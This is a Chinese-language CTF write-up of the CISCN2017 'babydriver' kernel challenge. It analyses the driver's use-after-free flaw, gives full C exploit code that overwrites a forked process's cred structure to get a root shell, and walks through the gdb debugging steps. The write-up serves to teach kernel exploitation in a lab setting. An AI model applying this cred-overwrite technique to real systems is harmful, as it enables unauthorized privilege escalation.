kernel UAF
CISCN2017 - babydriver
题目提供3个文件:
boot.sh:启动脚本
bzImage:kernel镜像
rootfs.cpio:文件系统映像
1、执行boot.sh,启动qemu虚拟机
查看init初始化脚本
==》flag需要root权限才能查看==》提权
==》insmod用于将给定的模块加载至内核中==》
查看所有进入内核的模块列表:
==》babydrive被加载进kernel中,并且显示了加载的地址==》
2、对babydrive.ko文件进行分析:
1、将rootfs.cpio文件系统映像解包
mkdir fs
cd fs
cp ../rootfs.cpio ./rootfs.cpio.gz
gunzip ./rootfs.cpio.gz
cpio -idmv < rootfs.cpio
rm rootfs.cpio
运行dec.sh==》
2、获取babydriver.ko文件,
查看文件属性
IDA静态分析
babydriver_init
==》
设备号:对于所有设备来说,分为3种:
字符设备=》例:控制台
块设备=》例:文件系统
网络设备=》例:网卡
设备文件可以通过设备文件名来访问,通常位于/dev下
ls -a
c表示字符设备
l表示符号链接
-表示常规文件
==》
可以在设备文件条目种最后一次修改日期之前例248, 0==》分别是主设备号与副设备号
==》主设备号标识与设备相关的驱动程序
例:/dev/null和/dev/zero都是由驱动1管理的,多个串行终端(ttyX,ttySX)是由驱动4管理的
==》内核使用副设备号来确定引用哪个设备
==》主设备号和副设备号可同时被保存在类型dev_t中,而该类型实际上是一个u32==》
12位用于保存主设备号,20位用于保存副设备号
typedef u32 __kernel_dev_t;
typedef __kernel_dev_t dev_t;
//////
===》babydriver_init函数会调用alloc_chrdev_region函数==》
babydriver_init函数尝试向内核申请一个字符设备的新的主设备号,副设备号从0开始,设备名称为babydev
,并将申请到的主副设备号存入babydev_no全局变量中
==》还调用了unregister_chrdev_region函数
==》函数在调用时需要指定主副设备号的起始值,要求内核在起始值的基础上进行分配
==》设备号分配完后,将其连接至设备操作的内部函数
内核使用cdev类型的结构来标识字符设备==》在操作设备之前,内核必须初始化+注册一个这样的结构体
(一个驱动程序可以分配不止一个设备号,创建不止一个设备)
初始化cedv结构体:
cdev_init(&cdev_0, &fops);
cedv结构体的初始化函数函数声明:
void cdev_init(struct cdev *cdev, const struct file_operations *fops)
传入cdev指针对应的struct cdev将会被初始化,同时设置该设备的各类操作为传入的
file_operations结构体指针
file_operations结构体包含的函数指针:
struct file_operations {
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);
ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);
int (*iopoll)(struct kiocb *kiocb, bool spin);
int (*iterate) (struct file *, struct dir_context *);
int (*iterate_shared) (struct file *, struct dir_context *);
__poll_t (*poll) (struct file *, struct poll_table_struct *);
long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
int (*mmap) (struct file *, struct vm_area_struct *);
unsigned long mmap_supported_flags;
int (*open) (struct inode *, struct file *);
int (*flush) (struct file *, fl_owner_t id);
int (*release) (struct inode *, struct file *);
int (*fsync) (struct file *, loff_t, loff_t, int datasync);
int (*fasync) (int, struct file *, int);
int (*lock) (struct file *, int, struct file_lock *);
ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
int (*check_flags)(int);
int (*flock) (struct file *, int, struct file_lock *);
ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
int (*setlease)(struct file *, long, struct file_lock **, void **);
long (*fallocate)(struct file *file, int mode, loff_t offset,
loff_t len);
void (*show_fdinfo)(struct seq_file *m, struct file *f);
#ifndef CONFIG_MMU
unsigned (*mmap_capabilities)(struct file *);
#endif
ssize_t (*copy_file_range)(struct file *, loff_t, struct file *,
loff_t, size_t, unsigned int);
loff_t (*remap_file_range)(struct file *file_in, loff_t pos_in,
struct file *file_out, loff_t pos_out,
loff_t len, unsigned int remap_flags);
int (*fadvise)(struct file *, loff_t, loff_t, int);
} __randomize_layout;
cdev结构体初始化完成后==》使用cdev_add告诉内核该设备的设备号
cdev_add(&cdev_0, babydev_no, 1);
函数声明:
int cdev_add(struct cdev *p, dev_t dev, unsigned count)
==》一旦cdev_add函数执行完毕,则当前cdev设备立即处于活动状态,其操作可以立即被内核调用
==》在编写驱动程序时,务必保证在驱动程序完全处理设备上的操作之后,最后调用cdev_add
将设备注册进sysfs
babydev_class = class_create(THIS_MODULE, "babydev");
device_create(babydev_class, 0, babydev_no, 0, "babydev");
函数声明:
struct class *__class_create(struct module *owner, const char *name,
struct lock_class_key *key)
struct device *device_create(struct class *class, struct device *parent,
dev_t devt, void *drvdata, const char *fmt, ...)
在初始化时init函数通过class_create函数创建一个class类型的类,创建好后的类存放于sysfs下,可以在/sys/class中寻找到==》
再调用device_create函数,动态建立逻辑设备,对新逻辑设备进行初始化==》
还将其与第一个参数所对应的逻辑类相关联,并将此逻辑设备加到Linux内核系统的设备驱动程序模型中
==》函数会自动在/sys/devices/virtual目录下创建新的逻辑设备目录,并在/dev目录下创建与逻辑类对应的设备文件
====》便可以在/dev中看到该设备
babydriver_init函数总结:
1、向内核申请了一个空闲的设备号
2、声明一个cdev结构体,初始化并绑定设备号
3、创建新的ctruct class,并将该设备号所对应的设备注册进sysfs
babydriver_exit
将该释放的数据结构全部释放
babyopen
在函数中定义了babydev_struct的结构体,其中包含了一个device_buf指针以及一个device_buf_len成员变量
kmem_cache_alloc_trace函数分配内存的逻辑与kmlloc类似==》
babyrelease
将babydev_sreuct.device_buf释放掉
在释放完成后,没有对device_buf指针置空,没有设置device_buf_len为0
babyread
判断当前device_buf是否为空,将device_buf上的内存拷贝至用户空间的buffer内存
babyioctl
类似于realloc:将原先的device_buf释放,并分配一块新的内存
注意点:此时的device_buf_len不为babyopne中的64==》大小可以被用户任意指定
思路总结与动态调试
1、babyrelease释放device_buf指针后没有置空,device_buf_len没有重置为0
2、babyioctl可以让device_buf重新分配任意大小的内存
3、当前内核模块中所有用到的变量都是全局变量
==》在babydev_struct中==》打开两次设备,第二次分配的空间将会覆盖第一次==》
思路:
打开两次设备,通过ioctl将babydev_sruct.device_buf大小修改为cred结构体的大小==》
释放第一个设备,fork出一个新的进程,这个新进程的cred结构体就会放在babydev_struct.device_buf所指向的内存区域==》
使用第二个描述符,调用write向此时的babydev_struct.device_buf中写入28个0,刚好覆盖至uid和gid,实现提权
==》
exp:
#include<stdio.h>
#include<fcntl.h>
#include <unistd.h>
int main(){
int fd1,fd2,id;
char cred[0xa8] = {0};
fd1 = open("dev/babydev",O_RDWR);
fd2 = open("dev/babydev",O_RDWR);
ioctl(fd1,0x10001,0xa8);//修改babydev_struct.device_len为0xa8
close(fd1);//释放fd1
id = fork();//fork一个新进程
if(id == 0){
write(fd2,cred,28);//向fd2的babydev_struct.device_buf中写入28个0
if(getuid() == 0){
printf("[*]welcome root:\n");
system("/bin/sh");//获得root权限
return 0;
}
}
else if(id < 0){
printf("[*]fork fail\n");
}
else{
wait(NULL);
}
close(fd2);
return 0;
}
将exp静态编译,放入rootfs中:
打包成rootfs.cpio
#!/bin/bash
#判断是否是root权限
user=$(env | grep "^USER" | cut -d "=" -f 2)
if [ "$user" != "root" ]
then
echo "请使用 root 权限执行"
exit
fi
#静态编译exp
gcc exp.c -static -o rootfs/exp
#打包
cd rootfs
find . | cpio -o --format=newc > ../rootfs.cpio
cd ..
调试exp
调试建议
调试的boot.sh:关闭了一些保护
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel ./bzImage \
-initrd ./rootfs.img \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokalsr" \
-smp cores=2,threads=1 \
-cpu kvm64 -gdb tcp::1234
1、提取vmlinux
./extract-vmlinux ./bzImage > vmlinux
2、启动gdb
gdb ./vmlinux -q
3、运行调试boot.sh
查看符号表
在gdb中导入符号表
add-symbol-file ./rootfs/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000
在gdb中监听1234端口
target remote 127.0.0.1:1234
调试过程:
在babyopen,babyioctl,babywrite下断点
b babyopen
b babyioctl
b babywrite
在qemu中运行exp
==》此时gdb已经在第一个babyopen处断点
单步运行至为babydev_struct赋值的语句:
==》
==》
babydev_struct.device_buf的地址为0xffffffffc00024d0
babydev_struct.device_len的地址为0xffffffffc00024d8
==》查看内内容(未赋值前)
此时其中内容都为空
==》查看内容(赋值后)
查看buffer内容
继续运行至第二个babyopen
单步运行至赋值后,查看地址内内容
==》为第一次babyopen赋值,没有改变
==》查看buffer内容
==》得到了重新分配
继续运行至babyioctl:
单步运行至重新赋值处
==》查看赋值后内容:
===》buffer进行了重新分配,大小变为了0xa8==》cred结构体的大小
查看buffer内容:
继续运行至babywrite处:
==》此时fork函数执行结束,子进程的cred结构体被放入babydev_struct.dev_buf指向的区域
单步运行至函数返回处==》
===》前28个字节被覆盖为0==》
继续运行( c ):
提权成功